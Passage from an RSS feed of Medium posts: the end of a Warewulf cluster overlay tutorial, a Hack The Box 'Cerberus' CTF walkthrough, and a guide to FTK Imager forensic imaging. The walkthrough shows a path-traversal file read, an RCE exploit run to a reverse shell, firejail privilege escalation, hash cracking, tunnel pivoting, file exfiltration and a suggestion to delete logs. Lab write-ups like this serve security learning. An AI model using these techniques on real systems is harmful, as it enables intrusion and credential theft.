hpc &quot;cat /etc/hostname &amp; ifconfig | grep 10.66.6&quot;<br>n001.cluster: n001.cluster<br>n001.cluster:         inet 10.66.6.50  netmask 255.255.255.0  broadcast 10.66.6.255<br>n003.cluster: n003.cluster<br>n003.cluster:         inet 10.66.6.52  netmask 255.255.255.0  broadcast 10.66.6.255<br>n002.cluster: n002.cluster<br>n002.cluster:         inet 10.66.6.51  netmask 255.255.255.0  broadcast 10.66.6.255<br>n004.cluster: n004.cluster<br>n004.cluster:         inet 10.66.6.53  netmask 255.255.255.0  broadcast 10.66.6.255<br>n005.cluster: n005.cluster<br>n005.cluster:         inet 10.66.6.54  netmask 255.255.255.0  broadcast 10.66.6.255<br><br>Leap-ww:/usr/share/warewulf/overlays # wwctl node status<br>NODENAME             STAGE                SENT                      LASTSEEN (s)<br>================================================================================<br>n001.cluster         RUNTIME_OVERLAY      host.img.gz               36<br>n002.cluster         RUNTIME_OVERLAY      host.img.gz               17<br>n003.cluster         RUNTIME_OVERLAY      host.img.gz               15<br>n004.cluster         RUNTIME_OVERLAY      host.img.gz               13<br>n005.cluster         RUNTIME_OVERLAY      host.img.gz               10<br><br>Leap-ww:/opt # wwctl node ls -n<br>NODE NAME              NAME     HWADDR             IPADDR          GATEWAY         DEVICE<br>==========================================================================================<br>n001.cluster           default  de:ad:de:ad:ca:fe  10.66.6.50      10.66.6.10      (eth0)<br>n002.cluster           default  00:1c:42:bf:a5:e3  10.66.6.51      10.66.6.10      (eth0)<br>n003.cluster           default  00:1c:42:5a:e6:ca  10.66.6.52      10.66.6.10      (eth0)<br>n004.cluster           default  00:1c:42:5f:43:3d  10.66.6.53      10.66.6.10      (eth0)<br>n005.cluster           default  00:1c:42:fe:2a:67  10.66.6.54      10.66.6.10      (eth0)</pre><p><strong>Overlays</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C4os7BXEZ5Ur3F82oUxxOQ.png" /><figcaption>Photo of ministrant Chameleon not AI generated — myself again</figcaption></figure><p>What is an overlay? In regards to Warewulf, it is a means of overlaying files to standard nodes running nodes. Currently, there are 5x baremetal nodes booted without any specific purpose. Using overlays, we can write files to the rootfs of an overlay directory and all nodes within that runtime overlay will be updated accordingly. Sort of like an image over an image.</p><p><a href="https://warewulf.org/docs/main/contents/overlays.html">Warewulf Overlays - Warewulf User Guide main documentation</a></p><p>For instance. Lets say I needed config file xyz.conf on every node. I could navigate to my overlay profile for that node or nodes and then add the file. The servers will then receive the update when they poll the master. For instance:</p><pre>Leap-ww:/opt # wwctl node ls n001.cluster -a | grep runtime<br>n001.cluster         runtime            default      elastic<br><br>Leap-ww:/usr/share/warewulf/overlays # tree elastic/<br>elastic/<br>├── etc<br>│   ├── chrony.conf<br>│   ├── dhcpd.conf.ww<br>│   ├── exports.ww<br>│   ├── hosts.ww<br>│   ├── munge<br>│   │   └── munge.key<br>│   ├── profile.d<br>│   │   ├── ssh_setup.csh<br>│   │   └── ssh_setup.sh<br>│   └── sysctl.d<br>│       ├── 90-namespaces.conf<br>│       └── 99-sysctl.conf<br>└── root<br><br>5 directories, 9 files</pre><p>Above is the current default overlay setup for the new overlay profile elastic. It I were to add /etc/elasticsearch/config.yml to this directory on the warewulf master, it would then populate everywhere without SCP or similar. It also allows per node logic as designated by the ‘.ww’ files.</p><pre>Leap-ww:/usr/share/warewulf/overlays # mkdir elastic/etc/elasticsearch/<br>Leap-ww:/usr/share/warewulf/overlays # touch elastic/etc/elasticsearch/testfile<br>Leap-ww:/usr/share/warewulf/overlays # md5sum elastic/etc/elasticsearch/testfile<br>d41d8cd98f00b204e9800998ecf8427e  elastic/etc/elasticsearch/testfile<br><br>root@n001:~# md5sum /etc/elasticsearch/testfile<br>d41d8cd98f00b204e9800998ecf8427e  /etc/elasticsearch/testfile</pre><p>So now with this capability, we can treat our physical systems like a running container.</p><p>Part 2 covers the deployment of ELK services<br><a href="https://medium.com/@Frauenhoffer/fun-with-elastic-pt-2-6110da02accf">https://medium.com/@Frauenhoffer/fun-with-elastic-pt-2-6110da02accf</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=217d2f9ab062" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Cerberus Walkthrough]]></title>
            <link>https://medium.com/@damenhotel/htb-cerberus-walkthrough-2581b9faff93?source=rss-df03ce50762------2</link>
            <guid isPermaLink="false">https://medium.com/p/2581b9faff93</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[damenhotel]]></dc:creator>
            <pubDate>Thu, 07 Mar 2024 17:11:28 GMT</pubDate>
            <atom:updated>2024-03-07T17:11:28.291Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>OS/Tools Used</strong></h3><p>Cerberus<br>OS/Tools Used:<br>• OpenSUSE Tumbleweed<br>• Netcat/Nmap<br>• Curl<br>• Firefox<br>• Python3<br>• SSH<br>• Evil-Winrm<br>• chisel</p><h3><strong>Recon/Enumeration:</strong></h3><p>Before any enumeration with an HTB machine, I always set a DNS name in the /etc/hosts file of the $box_name + ‘.htb’. The entry for this box will be ‘10.10.11.205 cerberus.htb’. Scanning the DNS name of the system may aid in enumeration if the box uses proxies for vhosts like nginx, domain<br>services like a windows server, or uses FQDN verification for whatever reason. This initial entry is always tentative against initial enumeration and may change throughout the enumeration process.</p><p><strong>Port, Service Discovery:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nsmV7Kenv06ybNVlIoQw9g.png" /></figure><p><em>curl redirect:</em><br>The ‘curl -IL’ command will do two things. The ‘I’ options will provide valuable HTTP header information like DNS names and ‘L’ will follow redirects. This is great if the website wants to point you to a new DNS name. For instance, scanning cerberus.htb uncovered icinga.cerberus.local. It also provided us with service information and some web directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RX2Hl69i-J3YMWCt9XeB2w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*FWQDuCMpCjQKyAQR-kLqaA.png" /></figure><p><strong>Enumeration:</strong></p><p>The next step is to find information about this service; mainly the version information. With this information, we can find if there are any CVEs that may be exploitable. My initial steps were to use the page source of the site to scan for terms like ‘v.’, ‘version’, etc… But before I get ahead of myself, what is Icinga?</p><p>From the sites documentation: “Icinga Web 2 is a powerful PHP framework for web applications that comes in a clean and reduced design. It’s fast, responsive, accessible and easily extensible with modules.” Nice, that provided me with nothing. A digging a little deeper, I found more information at the following URL:</p><p>‘https://icinga.com/docs/icinga-web/latest/doc/03-Configuration/#configuration’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*L80VhT83FbCv3njw1NJdXA.png" /></figure><p>This provides a bunch of valuable information. This tells us the names of the configuration files used for the service, as well as the directly it usually exists in. Lets keep digging to see if we can find some version information. So from the website login banner, we can see ‘Icinga Web 2’. I would assume this means version ‘2.x’. Some quick google searchers for this landed me on a couple links:</p><p><a href="https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/">https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/</a></p><p><a href="https://packetstormsecurity.com/files/171774/Icinga-Web-2.10-Arbitrary-File-Disclosure.html">https://packetstormsecurity.com/files/171774/Icinga-Web-2.10-Arbitrary-File-Disclosure.html</a></p><p>The arbitrary file disclosure seems like a quick and simple request to try. It looks like it does not need authentication and just sends requests to the web directories of ‘/icingaweb2/lib/icinga/icinga-php-thirdparty/*’ where star is your ability to query files. This is perfect because we already have information for the configuration files of icinga web from their website. In a real world situation, I would just run the service within a Podman or Apptainer to have a quick map of the full system default file hierarchy. From the configuration website, resources.ini should be a priority to obtain. If the service is running in a docker container on cerberus.htb, we should also explore all the docker env and entrypoint files that should also contain plain text information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*jvBf6Umn1HYgSE3VX24IRA.png" /></figure><blockquote>Commands used:</blockquote><blockquote><em>- curl </em><a href="http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/hosts"><em>http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/hosts</em></a></blockquote><blockquote><em>- curl </em><a href="http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/passwd"><em>http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/passwd</em></a></blockquote><blockquote><em>- curl </em><a href="http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/resolv.conf"><em>http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/resolv.conf</em></a></blockquote><blockquote><em>- curl </em><a href="http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/resources.ini"><em>http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/resources.ini</em></a></blockquote><p>From the resources.ini file we have some critical information that includes the dbname, dbtype, username, and password. The user name does not seem to be a service user name. This could mean that the password may be used somewhere else.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cMhDsv7X3DLe6vIlRlculQ.png" /></figure><p>I then pulled config.ini:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mOel_qQkuFMMGxQEOTucpQ.png" /></figure><p>And other information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FJJ6f7oqMZgSUm2bq1ZVdg.png" /></figure><p>So at this point, I would definitely build that container and mock Icinga web instance. I may do this and put it in the appendix section to Identify my TTP failures before embarking on this next part. Next, I attempted the user login grabbed from the resources.ini. We log in and finally have version information in the second screen shot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fPF4Mv_NmPSnkvEHecrTOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QD5fHdUwAP0PCq7QEEhwlQ.png" /></figure><p>Searching again online for vulnerabilities, I am again led to github, but for a CVE that uses authentication remote code execution. The first link is a POC.</p><p><a href="https://github.com/JacobEbben/CVE-2022-24715">https://github.com/JacobEbben/CVE-2022-24715</a></p><p><a href="https://github.com/Icinga/icingaweb2/security/advisories/GHSA-v9mv-h52f-7g63">https://github.com/Icinga/icingaweb2/security/advisories/GHSA-v9mv-h52f-7g63</a></p><h3><strong>Initial Access:</strong></h3><p>The CVE github patch explicitly mentions Authenticated users, with access to the configuration, can create SSH resource files in unintended directories, leading to the execution of arbitrary code.</p><p>To do this I will hop into a Kali Apptainer image and setup a netcat listener for the reverse shell. Before launching the python code, we will need to create a PEM file used for the authentication bypass. I use an Apptainer as a pseudo persistent environment akin to a Kali VM. It has some additional benefits above a VM [Create appendix on building containers? Or create another doc?] <br> <br> To do this use ssh-keygen:</p><p><em>ssh-keygen -m pem -f hello</em></p><p>Then launch the python RCE with:<br> <br> <em>python3 ./CVE-2022–24715/exploit.py -t icinga.cerberus.local:8080/icingaweb2 -u matthew -p IcingaWebPassword2023 -e hello -I 10.10.14.127 -P 8443</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ejsYBX1UcDEoQ1P9e4TFuw.png" /></figure><p>Once we have the foothold, it is time to enumerate the system. Our initial access granted us the default web service user “www-data”. Let’s see what we can checkout without linpeas. Our checks should align with:</p><p>- <strong><em>What does the user have access to? Sudo -l, executable, groups, find commands, etc.</em></strong></p><p>- <strong><em>What ports are listening on 127.0.0.1? What services are they attached to?</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*fZ05t77PUH_kR-wA68clFQ.png" /></figure><p>The above output shows the command “ss” which is like netstat. The options are -tunlp which stands for t=TCP, u=UDP, n= No service name resolve, l= Listen, and p = PID. This provides us with information of standard Linux services like port 123/NTP, 53/DNS, 80=HTTP.</p><p>There are also some “odd” services listening to 127.1, which are not publicly query-able like 3306/mysql and 6379/Redis which are used in part with the Icinga platform. These can be explored to drop information from the mysql database and should be explored. Another option that stands out is the ip “172.16.22.2”. We soon see that this vhost or container only has this 172.x ip address meaning there is a proxy somewhere. More than likely the Windows DC server we saw from the curl’d /etc/hosts. This foothold is more than likely our proxy point to attack the DC. Furthermore, Windows works off AD/LDAP authentication, meaning windows creds may or may not be configured in this machine.</p><ul><li><strong><em>Are there any sys admin esq automation scripts that run from a cron</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*cs4korQIermLdSK7_NSIQg.png" /></figure><p>We are not seeing any immediate signs of automation scripts or compiled programs in these directories.</p><p><strong><em>- What non-standard default linux processes are running</em></strong></p><p>Ps -auxf did not pull any processes that I think need to be investigated immeadiately</p><p><strong><em>— Is this a container or virtual machine?</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*CqzLwhCv6ShjFzBQsGMsMg.png" /></figure><p>Containers may be hard to distinguish but a clear sign is found in cgroup enumeration. Each containerized system enumerates differently.</p><p><em>- grep -qa docker /proc/1/cgroup</em></p><p><em>- grep -qa container=lxc /proc/1/environ</em></p><p>Another check for containers of linux variants is systemd/init. This is usually the initial PID process of a baremetal or virtual machine, but not a container… sometimes. We found that this container does start with the init process. Meaning this may be baremetal/virtual.<br> <br>Other noteworthy checks are to look for docker env, /dockerfile, entrypoint files in the root directory, or a hostname that is a randomized string. Since this is a Windows machine hosting this linux container or host, they will both have a virtualized kernel.</p><p>Regardless, we find our information with:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/434/1*2XZXuLbhdPtwjWp-2BhoeQ.png" /></figure><p><strong><em>- Are there any insecure NFS mounts?</em></strong><br> Df -h does not show any NFS mounts</p><p>I saved SUID enumeration until now because I wanted to explain some enumeration techniques that will be useful for machines across the board. SUID binaries may be found in a plethora of ways, but a quick and dirty way is to use the list command in Linux. Every Linux system will have general SUID binaries like mount, at, chsh, sudo, su , etc. We are looking for any SUID binaries that are out of place and we found one I am not familiar with at all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*5xv29MkwvbIAf4d9jQjl-A.png" /></figure><p>What the heck is ‘firejail’? Lets check the man page. <a href="https://man.archlinux.org/man/firejail.1">https://man.archlinux.org/man/firejail.1</a></p><p><em>Firejail is a SUID sandbox program that reduces the risk of security breaches by restricting the running environment of untrusted applications using Linux namespaces, seccomp-bpf and Linux capabilities. It allows a process and all its descendants to have their own private view of the globally shared kernel resources, such as the network stack, process table, mount table. Firejail can work in a SELinux or AppArmor environment, and it is integrated with Linux Control Groups.</em></p><p>A quick google search fore ‘CVE firejail’ illicit many results, but we first need to explore firejail’s version. You can use dpkg on debian based distros like Ubuntu or rpm for RHEL variants. Most binaries have a ‘ — version’ option. Lets try that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*eM11nBcQUBOWC0z4B4txbw.png" /></figure><p>So now we know the version, and we can also enumerate our CVE options better. Some google searching and you will find <a href="https://seclists.org/oss-sec/2022/q2/188">https://seclists.org/oss-sec/2022/q2/188</a> firejail: local root exploit reachable via — join logic (CVE-2022–31214). It even comes with a python program for exploitation. Lets get it to the server. But first we RTFM of why the exploit works ;)</p><p>To migrate the firejail exploit to the server, we will pull the python script and then curl it to the tmp directory. Also make it executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Un45GxOFX-urkGQy5PnI5A.png" /></figure><p>Next we execute the firejoin and use the firejail application to attach to the process initiated</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*JjpU4XOHwedl66_yc_I_oQ.png" /></figure><p>Nice! Now we have root on the vhost of the Windows server. Now we conduct some more enumeration following the guidelines from our initial enumeration as www-data.</p><p>Remember this is a windows host running a linux container/vm. How will the linux env authenticate against the Windows Domain Controller? How do we know it is a DC? From the /etc/hosts file, we see the outlined section “<strong>172.16.22.1 DC.cerberus.local DC cerberus.local”</strong>. Why would an agnostic container need this outlined in the hosts file unless it needed to communicate with the domain controller for a service like authentication? This is great for enumeration, but there is a better way to identify this with the process command.</p><p>SSSD. I didn’t know the full outline of what this service does other than a means of authentication. But to better my understanding, I asked ChatGPT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*1mrw7fOvtHh1iHMK-wXrvA.png" /></figure><p>Awesome! Now how do we verify that this service is running and in fact connects to the domain controller?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*GZ-3F-Y75WfDKjyV9Bg_3A.png" /></figure><p>From the process output, we see two things that standout. One, we see SSSD is being used to connect to -domain cerberus.local and that it is being logged locally with –logger=files. Also from our initial curl enumeration of /etc/resolv.conf, we see the trust-ad option. If logger is running to a file, it may entail that credentials are cached somewhere. Something like krb5 CCACHE is also something to keep in our minds.</p><h3><strong>User Credentials:</strong></h3><p>Now we need to enumerate where SSSD would store creds. We can do this in a couple of ways because we are root now. One way is to drop the config for SSSD. Another way is to grep out the directory of /var/lib/sss/. In a real situation, I would highly recommend as little amount of keystrokes on a box and just google the common places where creds may be stored for SSSD. This is where we find the cached credentials in the db.</p><p>For this route, I am going to take a dangerous and super unconventional route lol super out of the way. That shows why containers are pretty awesome. I will use SCP to copy the entire directory into a one off container that I can delete afterwards. This will save copy pasta time and verifies that there is no issues copying over files, like DB, when they are concatenated.</p><p>So first we run an Apptainer with:</p><p><em>apptainer shell — writable — no-home -B /srv/htb/:/opt /srv/ctr/kali</em></p><p>This command says, “Hey apptainer, give me a shell that is –writable/mutable without a home directory that binds my working directory ../htb into the /opt directory of my kali container”.</p><p>Once I am in my container, I add a one off user “bob” with password “password”. Then I just run SSHD on port 8443.</p><p><em>/usr/sbin/sshd -D -p 7890</em></p><p>Now, I just used my root user on the victim host to just ex filtrate any files I want onto my host machine :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*xvfeQYgdTLMt0yNRBHre4w.png" /></figure><p>Bazinga. Now we can peep the creds without using our victim host, evading more keystrokes. You can also clean up your tracks at this point. Deleting logs etc. unless there is an agent logging,but that’s for another time. Also we can grab the information and delete the container.</p><p><em>Side note: Pen testing with containers is great if you need to provide all your work for a pen test project. Its smaller than a VM, and will be neatly transferable in a tar.gz.</em></p><p>Now that we have the files copied and can review for any credential information. Inside sss/db we find cached credentials for the cerberus.local domain:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*9VbZ5A6QFLJrr-_Gbfhong.png" /></figure><p>Searching through the document, we find matthew’s cached hash.</p><p><em>Matthew : $6$6LP9gyiXJCovapcy$0qmZTTjp9f2A0e7n4xk0L6ZoeKhhaCNm0VGJnX/Mu608QkliMpIy1FwKZlyUJAZU3FZ3.GQ.4N6bb9pxE3t3T0</em></p><p>Future me here: I usually do not crack passwords and attempted to find a means of using WinRM with this hash somehow. Like convert it, or use it in some way. I ended up cracking.</p><p>Cracking the password we found that the password was: 147258369</p><p><em>hashcat -m 1800 -a 0 -o cracked.pass linhashpass.matthew /usr/share/wordlists/rockyou.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*aNuxyWAtj1PEsDj_xTNsBw.png" /></figure><p>Now that the password is recovered, we can authenticate as the matthew user to the domain controller. Since the domain controller is not query-able, we need to use our foothold on the icinga host as the proxy point. For this, we can use tools like chisel or ssh. For this situation, we will use SSH since we have the container previously to do so. Lets test this out</p><p>From the victim PC/ our proxy point, we will run:</p><p><em>ssh -R 7890:DC.cerberus.local:5985 bob@10.10.14.127 -p 8443</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*zYoYI7JjUejMF9Xry5d-cg.png" /></figure><p>This will ssh to our attacker container which will open the port 7890/tcp locally on our attacker container. All traffic<strong> from localhost 7890/tcp will now be forward to DC.cerberus.local 5985.</strong> This is also nice because all of our malicious traffic to the attack box will be encrypted with SSH. 5985/tcp being WinRM default port.</p><p>Another great thing is now that we are SSH’d into our attack container, we can use that connection to launch evil-winrm or powershell. To execute this we will run:</p><p><em>evil-winrm -u matthew -p the_password -i localhost -P 7890</em></p><p>This command is using matt’s creds to hit localhost:7890 which will proxy direct to the DC seen below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*kQ_KmLDe3TEbtR8eO9hymg.png" /></figure><p>Now we have user :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*ULNo9GGPJrs5Na7OWzz7vg.png" /></figure><p><strong>Root:</strong></p><p>We follow the same enumeration procedures that we used previously. First, we need to figure out who we are and what we have access to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zH3T6j7fOJpTyQrBhooo8A.png" /></figure><p>Looks like we have some privs we may be able to work with, maybe? Lets explore further to see what all is installed on this host. For this we will check the root and program files dir. And we do find something that sort of sticks out ManageEngine. This is not a common windows package. I think it is used for MSPs if I recollect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*Z4Lj1ghXLMq4OO3lNHEXhg.png" /></figure><p>Further exploration, we found a backup file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ReowxmqV1Pui0mQgwYnToA.png" /></figure><p>To pull this backup file to our host, we can use evil-winrm:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hxh3di8Kf0UUo-56SDztfw.png" /></figure><p>I spent way too much time attempting to crack this. None of the word lists I tried work so I moved onto enumerating the network again with:</p><p><em>netstat -ano | findstr LISTEN</em></p><p>From the netstat we can see that 443/tcp the manage engine port is query-able.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*U8RhTIQMc3p-Ccu-3D06ug.png" /></figure><p>I attempted to curl that port multiple times but I was unable to connect anything. At this point I suspected the machine may be bricked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*cX7nJIah8Oy4w8E61zPCig.png" /></figure><p>Long long story short. I ended up using chisel. It kinda feels like it is cheating to use chisel, but you cant win them all I guess. To setup chisel I pulled the binaries for the windows chisel and linux chisel. I copied the windows chisel binary to the matthew downloads directory to act as the client. This is because the access we need on the DC needs to be query-able from the private address space. The attacker box will run as the server as a reverse proxy. More information can be found below.</p><p><em>Ref:https://notes.benheater.com/books/network-pivoting/page/port-forwarding-with-chisel</em></p><p>Chisel configuration:</p><p>Linux Attack box: <br> <em>— /ch server -v — host ‘10.10.14.127’ — reverse — port 9003</em></p><p>Windows DC:<br> — <em>.\wch.exe client — fingerprint ‘WSD5iCoE72gpU6Ie37j6wLe695+DFsPaKF2GewPfzDU=’ 10.10.14.127:9003 R:127.0.0.1:9003:socks</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E6840ZW3KiT0Ute3TPyuig.png" /></figure><p>I am able to use this reverse socks5 proxy to access the ManageEngine web interface.</p><p>We can now set the proxy settings within the firefox web browser to connect to the local proxy 9003/tcp and browse the default manageEngine login page. Here we will use matt’s creds for domain authentication.</p><h3>Appendix A</h3><p>Nmap Scan</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2581b9faff93" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Create a Forensic Image with FTK Imager]]></title>
            <link>https://medium.com/@damenhotel/how-to-create-a-forensic-image-with-ftk-imager-6fb8ee07fb2d?source=rss-df03ce50762------2</link>
            <guid isPermaLink="false">https://medium.com/p/6fb8ee07fb2d</guid>
            <category><![CDATA[e-01]]></category>
            <category><![CDATA[data-access]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[forensic-image]]></category>
            <category><![CDATA[ftk]]></category>
            <dc:creator><![CDATA[damenhotel]]></dc:creator>
            <pubDate>Wed, 12 Dec 2018 03:04:04 GMT</pubDate>
            <atom:updated>2019-10-20T17:54:26.318Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jQ0xG9nNEFPTiZVSCFuT2Q.jpeg" /><figcaption>Photo Credit: Tyler Helwig — https://helwig.io</figcaption></figure><p>This is a very simple guide on how to create a forensic image of a physical hard drive that you have connected to your Windows Computer:</p><p><strong>Whats Needed:</strong></p><ul><li>FTK Imager from AccessData:<br><a href="https://accessdata.com/product-download/ftk-imager-version-4.2.0">https://accessdata.com/product-download/ftk-imager-version-4.2.0</a></li><li>A Hard Drive that you would like to create an image of</li></ul><p><strong>Who would want to do this?</strong></p><p>A Forensic Image is most often needed to verify integrity of image after an acquisition of a Hard Drive has occured. This is usually performed by law enforcement for court because, after a forensic image has been created, its integrity can be checked to verify that it has not been tampered with. Further, a forensic image can be backed up and/or tested on without damaging the original copy or evidence.</p><p>Further, you can create a forensic image from a running or dead machine. I guess the best way to explain the forensic image to someone who does not know about computers is that it is a literal snapshot in time that has integrity checking.</p><p>There are many ways to create a forensic image. However, the best ease-of-use ways I have found are FTK Imager for Windows and Guymager for Linux. Windows is a simple install. Linux, you would use your package manager to download. Example: apt install guymager.</p><p><strong>Guide:</strong></p><p>Step 1: For a dead acquisition you will need to plug in the Hard Drive through use of a HDD Dock or by other means to a laptop that has FTK.</p><p>Step 2: Open FTK Imager by clicking on the “FTK Imager” icon. A screen shot of the icon can be seen below and once it is open you should be greeted with the FTK Imager dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/77/1*Pc3cDRcdvlc5CUFKYKJ01Q.png" /></figure><p>Step 3: In the top left location on the dashboard, you will see a tool bar. One of the icons on the toolbar will allow you to add a evidence file. It will be the left-most option and can be seen highlighted or above if you are reading this in Australia:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*WKzDaRFjgjyXEeYvNxj6sA.png" /></figure><p>Step 4: When you click on that icon, you should be prompted with the “Select Source” window. If you have connected a physical Hard Drive to the laptop/computer you are using to make the forensic image, then you will select the “Physical Drive” radial.</p><p>Then click Next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*hgJXzVJzYvihFXxSo0gerQ.png" /></figure><p>Then Select the Physical Drive that you would like to use. This option will most likely not be PhysicalDrive0 because this is usually the internal OS drive for the computer that you are using. If you only have two Hard Drives connected to the computers, than the Physical Drive you may want to use is PhysicalDrive1.</p><p>Please make sure that you are selecting the right drive, or you will waste your time exporting a forensic image of your own OS drive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*_asvvR6Wf_nGdtGXCi_Z4Q.png" /></figure><p>Step 5: Exporting the forensic images is simple. First ‘right-click’ the PhysicalDrive that you would like to export in the FTK Imager window. This will provide you with the options seen below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5vwLt0AQCvH31lL_z_jfKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*jv9NIxai3fTpUjhG-GvK2Q.png" /></figure><p>Once you have select the Export Disk Image you will be prompted with a couple additional steps. First, ‘click’ the Add button for the Image Destination. I would suggest exporting to anther additional external HDD(like a WD passport) instead of the internal computer HDD. unless you got the space.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*7tXwFMsGJEfpIXAQ3AS4sQ.png" /></figure><p>Select the Type of Forensic Image you would like to export. I almost always choose .E01 because of its hash verification and its ability to used with multiple other programs. You can Bing the other Forensic Images. See what I did there…? I added Bing instead of Google. Yeah, you’re prolly the one of two readers reading this post. Now we have made this connection. Hello Brother. Select .E01 and click next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/379/1*oW7ck-EORtPQNOx_P2GGfw.png" /></figure><p>Once you click next you will need to add information pertaining to the case. Do not add any sarcastic information in these boxes. Either leave them blank or keep it general. No one wants to hear, Forensic Evidence number 007, Examiner “Mister Fister” in court. It’s a tad unprofessional</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*0hGpWMAZua_S0gY34JBOLA.png" /></figure><p>Next, you will need to choose the destination that you would like to export the forensic image and designate the image a name. Again be professional</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/376/1*TTLN_UNw4cqKpc5k8NF3rA.png" /></figure><p>Lastly, you will need to wait for the Forensic Image to be created and then verified. Once both have occurred, you can process them with autopsy or boot the .E01 into a Virtual Machine with VMware for even more fun. This will most likely the next blog post.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/1*9HhR8FE0kS53aA-z5tFwxg.png" /></figure><p>Once the verification has finished, you will be greeted with a windows like this. Speed of creating the forensic image will vary based on your hardware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*eX9giZgeqtifhvohuN6l8g.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6fb8ee07fb2d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Configuring ESXi 6.7]]></title>
            <link>https://medium.com/@damenhotel/configuring-esxi-6-7-92ccc2831970?source=rss-df03ce50762------2</link>
            <guid isPermaLink="false">https://medium.com/p/92ccc2831970</guid>
            <category><![CDATA[vsphere]]></category>
            <category><![CDATA[vmware]]></category>
            <category><![CDATA[esxi]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[virtual-machine]]></category>
            <dc:creator><![CDATA[damenhotel]]></dc:creator>
            <pubDate>Sun, 02 Dec 2018 15:59:57 GMT</pubDate>
            <atom:updated>2018-12-02T15:59:57.593Z</atom:updated>
